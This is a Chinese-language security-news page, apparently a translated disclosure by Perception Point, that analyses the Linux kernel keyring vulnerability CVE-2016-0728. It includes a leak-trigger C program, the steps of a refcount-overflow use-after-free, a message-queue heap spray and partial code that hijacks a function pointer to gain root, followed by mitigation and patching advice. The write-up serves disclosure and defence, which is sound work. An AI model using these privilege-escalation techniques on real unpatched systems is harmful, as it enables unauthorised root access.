<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("Linux,内核,漏洞,CVE-2016-0728,分析与利用") PageTitle=stripHTML("Linux内核漏洞CVE-2016-0728的分析与利用") ArticleIntro=stripHTML("Perception Point研究团队已经在Linux操作系统的内核中发现了一个0 day漏洞,这是一个本地提权漏洞。,这个漏洞已经影响了大约数千万的安装了Linux操作系统的个人计算机和服务器。其") Articlecontent=stripHTML("介绍  Perception Point研究团队已经在Linux操作系统的内核中发现了一个0 day漏洞,这是一个本地提权漏洞。这个漏洞从2012年开始就存在于…") ModuleName = stripHTML("exploits") InfoID = stripHTML("223794") ChannelShortName=stripHTML("漏洞") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("exploits") %> Linux内核漏洞CVE-2016-0728的分析与利用 - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 漏洞 >> 最新漏洞 >> *INX 漏洞 >> 正文

[组图]Linux内核漏洞CVE-2016-0728的分析与利用

2016/1/21 作者:Mickeyyy… 来源: 360安全播报
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

  

  介绍

  Perception Point研究团队已经在Linux操作系统的内核中发现了一个0 day漏洞,这是一个本地提权漏洞。这个漏洞从2012年开始就存在于Linux的内核中了,但是我们的团队最近才发现了这个漏洞,并将漏洞的详细信息报告给了内核安全团队。在此之后,我们还发布了一个针对此漏洞的概念验证利用实例。截止至漏洞披露的那一天,这个漏洞已经影响了大约数千万的安装了 Linux操作系统的个人计算机和服务器。其中有66%的设备是安卓设备(包括手机和平板电脑在内)。目前,我们和内核安全团队都没有发现任何针对此漏洞的攻击事件,我们建议安全团队对所有有可能受此漏洞影响的设备进行测试,并尽快发布相应的修复补丁。

  在这篇文章中,我们将会对此漏洞的技术细节进行讨论,并且还会讨论通过这个漏洞来实现内核代码执行的相关技术。最后,我们还会给大家提供相应的概念验证实例,并给大家演示如何将本地用户提权至root用户。

  漏洞信息

  漏洞CVE-2016-0728是由相关keyring功能中的引用泄漏所引起的。在我们深入了解该漏洞的详细信息之前,我们还需要了解一些基础背景知识。

  在这里,我们直接引用帮助手册中的内容。驱动器在内核中保存或缓存安全数据、认证密钥、加密密钥和一些其他的数据时,必须使用到keyring功能。系统会调用接口-keyctl(当然了,系统中还存在另外两个系统调用,系统会使用这些系统调用来处理密钥:add_key和request_key,但 keyctl绝对是这篇文章中最重要的。),在这个功能的帮助下,用户空间中的程序就可以管理相应的对象,并且使用这一机制来满足不同程序所需实现的不同功能。

  每一个进程都可以使用keyctl(全名为KEYCTL_JOIN_SESSION_KEYRING)来为当前的会话创建相应的keyring,而且还可以为keyring指定名称,如果不需要指定名称的话,传入NULL参数即可。通过引用相同的keyring名称,程序就可以在不同进程间共享 keyring对象了。如果某一进程已经拥有一个会话keyring了,那么这个系统调用便会为其创建一个新的keyring,并替换掉原有的 keyring。如果某一对象被多个进程所使用,那么该对象的内部引用计数(该信息存储在一个名为“usage”的数据域中)将会自动增加。当进程尝试使用相同的keyring替换其当前的会话keyring时,泄漏就发生了。我们可以在下面所给出的代码段(代码段来源于内核版本为3.18的Linux内核)中看到,程序的执行将会直接跳转至error2标签处,这样就跳过了key_put函数的调用,并泄漏了keyring的引用信息(由函数 find_keyring_by_name生成)。

以下是代码片段:
long join_session_keyring(const char *name)
{
 ...
       new = prepare_creds();
 ...
       keyring = find_keyring_by_name(name, false); //find_keyring_by_name increments  keyring->usage if a keyring was found
       if (PTR_ERR(keyring) == -ENOKEY) {
               /* not found - try and create a new one */
               keyring = keyring_alloc(
                       name, old->uid, old->gid, old,
                       KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
                       KEY_ALLOC_IN_QUOTA, NULL);
               if (IS_ERR(keyring)) {
                       ret = PTR_ERR(keyring);
                       goto error2;
               }
       else if (IS_ERR(keyring)) {
               ret = PTR_ERR(keyring);
               goto error2;
       else if (keyring == new->session_keyring) {
               ret = 0;
               goto error2; //<-- The bug is here, skips key_put.
       }
       /* we've got a keyring - now install it */
       ret = install_session_keyring_to_cred(new, keyring);
       if (ret < 0)
               goto error2;
       commit_creds(new);
       mutex_unlock(&key_session_mutex);
       ret = keyring->serial;
       key_put(keyring);
okay:
       return ret;
error2:
       mutex_unlock(&key_session_mutex);
error:
       abort_creds(new);
       return ret;
}

  在用户空间中触发这个漏洞是非常容易的,我们可以在下列的代码段中看到:

以下是代码片段:
/* $ gcc leak.c -o leak -lkeyutils -Wall */
/* $ ./leak */
/* $ cat /proc/keys */
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
    return 0;
}

  这样一来,我们便能够得到下列输出信息,这些信息中包含有泄漏的keyring引用信息:

  



  漏洞利用

  我们需要注意的是,这个漏洞能够直接引起内存泄漏,除此之外,它还能引起很多更加严重的问题。我们在对相关代码段进行了简要的分析之后,我们发现用于存储相应对象引用计数的“usage”数据域其类型为atomic_t,这种类型可以算是int类型,即无论在32位还是64位架构的系统中,其长度都是32 位。因为每一个整数从理论上来说都是有可能溢出的,所以这一发现也就验证了在该漏洞的实际利用过程中,利用引用计数溢出这一机制似乎是可行的。幸运的是, 在我们进行了分析之后发现,系统的确不会对“usage”数据域进行检测,也没有防止其中数据溢出的相关措施。

  如果某一进程引起了内核中某一对象的引用泄漏,那么就会使系统内核认为这个对象已经不再被使用了,并且会释放这个对象所占用的存储空间。如果该进程仍然存有该对象的另一个合法引用信息,并且在内核释放了目标对象之后使用了它,那么将会导致内核释放这条引用信息或者重新分配内存空间。这样一来,我们就可以通过这一漏洞来实现UAF(用后释放)。网络上有很多关于内核中用后释放漏洞的利用方法,大家可以自行搜索和学习,在此我们不再进行赘述。接下来的操作步骤对于一名经验丰富的漏洞研究人员而言,也许没有什么新鲜的东西了。漏洞利用代码所进行的主要操作如下:

  1.得到一个密钥对象的(合法)引用信息;

  2.使同一对象的“usage”数据域溢出;

  3.释放keyring对象;

  4.在之前使用的keyring对象所占的内存空间中,分配一个不同的内核对象(含有用户可控制的数据内容);

  5.使用已释放keyring对象的引用信息来触发漏洞利用代码的执行;

  第一步操作的详细信息大家可以直接从操作手册中获取,步骤二我们也已经在文章中解释过了。接下来,我们将会对其他操作步骤的技术细节进行讨论。

  引用计数溢出

  这一步操作实际上是对这一漏洞的扩展。“usage”数据域是int类型,这也就意味着无论在32位还是64位架构的操作系统中,它所能保存的最大值均为2 的32次方。为了让“usage”数据域发生溢出,我们必须对代码段进行2^32次循环,以此来让“usage”的值变为零。

  释放keyring对象

  我们有很多种方法能够释放存有引用计数的keyring对象。其中一种可能成功的方法就是:通过一个进程来使keyring的“usage”变为0,然后通过keyring子系统(该系统会释放所有引用计数为0的keyring对象)中的垃圾回收算法来释放目标对象。

  分配和控制内核对象

  当我们的进程指向了一个已经释放的keyring对象之后,我们就需要分配一个内核对象来覆盖这个之前已经释放了的keyring对象。多亏了SLAB内存分配机制,这一步骤实现起来非常的容易。其中的主要操作代码如下:

以下是代码片段:
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
    perror("msgget");
    exit(1);
}
for (i = 0; i < 64; i++) {
    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
        perror("msgsnd");
        exit(1);
    }
}

  获得内核代码执行权限

  下列Linux内核代码段将会调用revoke函数。除此之外,我们还可以通过keyctl系统调用来引用Revoke函数指针。

以下是代码片段:
void key_revoke(struct key *key)
{
       . . .
       if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
           key->type->revoke)
               key->type->revoke(key);
       . . .
}

  keyring对象中应该包含以下信息:

  



  相关代码段如下:

以下是代码片段:
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
struct key_type_s {
    void * [12] padding;
    void * revoke;
} type;
_commit_creds commit_creds = 0xffffffff81094250;
_prepare_kernel_cred prepare_kernel_cred = 0xffffffff81094550;
void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
    ...
    struct key_type * my_key_type = NULL;
    ...
    my_key_type = malloc(sizeof(*my_key_type));
    my_key_type->revoke = (void*)userspace_revoke;
    ...
}

  我们在一台配有英特尔酷睿i7-5500 CPU的设备上进行了测试,整个测试过程花费了大约30分钟的时间,我们所得到的信息如下图所示:

  



  漏洞缓解方案&结论

  内核版本为3.8及其以上的Linux内核都会受到这个漏洞的影响。SMEP和SMAP从某种程度上来说可以给予用户提供一定的保护。也许我们会在之后的文章中讨论如何绕过这些缓解措施,但是现在迫在眉睫的事情就是尽快修复这个漏洞。

  感谢David Howells和Wade Mealing,以及整个红帽安全团队对这个漏洞所付出的努力。



  • 上一篇漏洞:

  • 下一篇漏洞: 没有了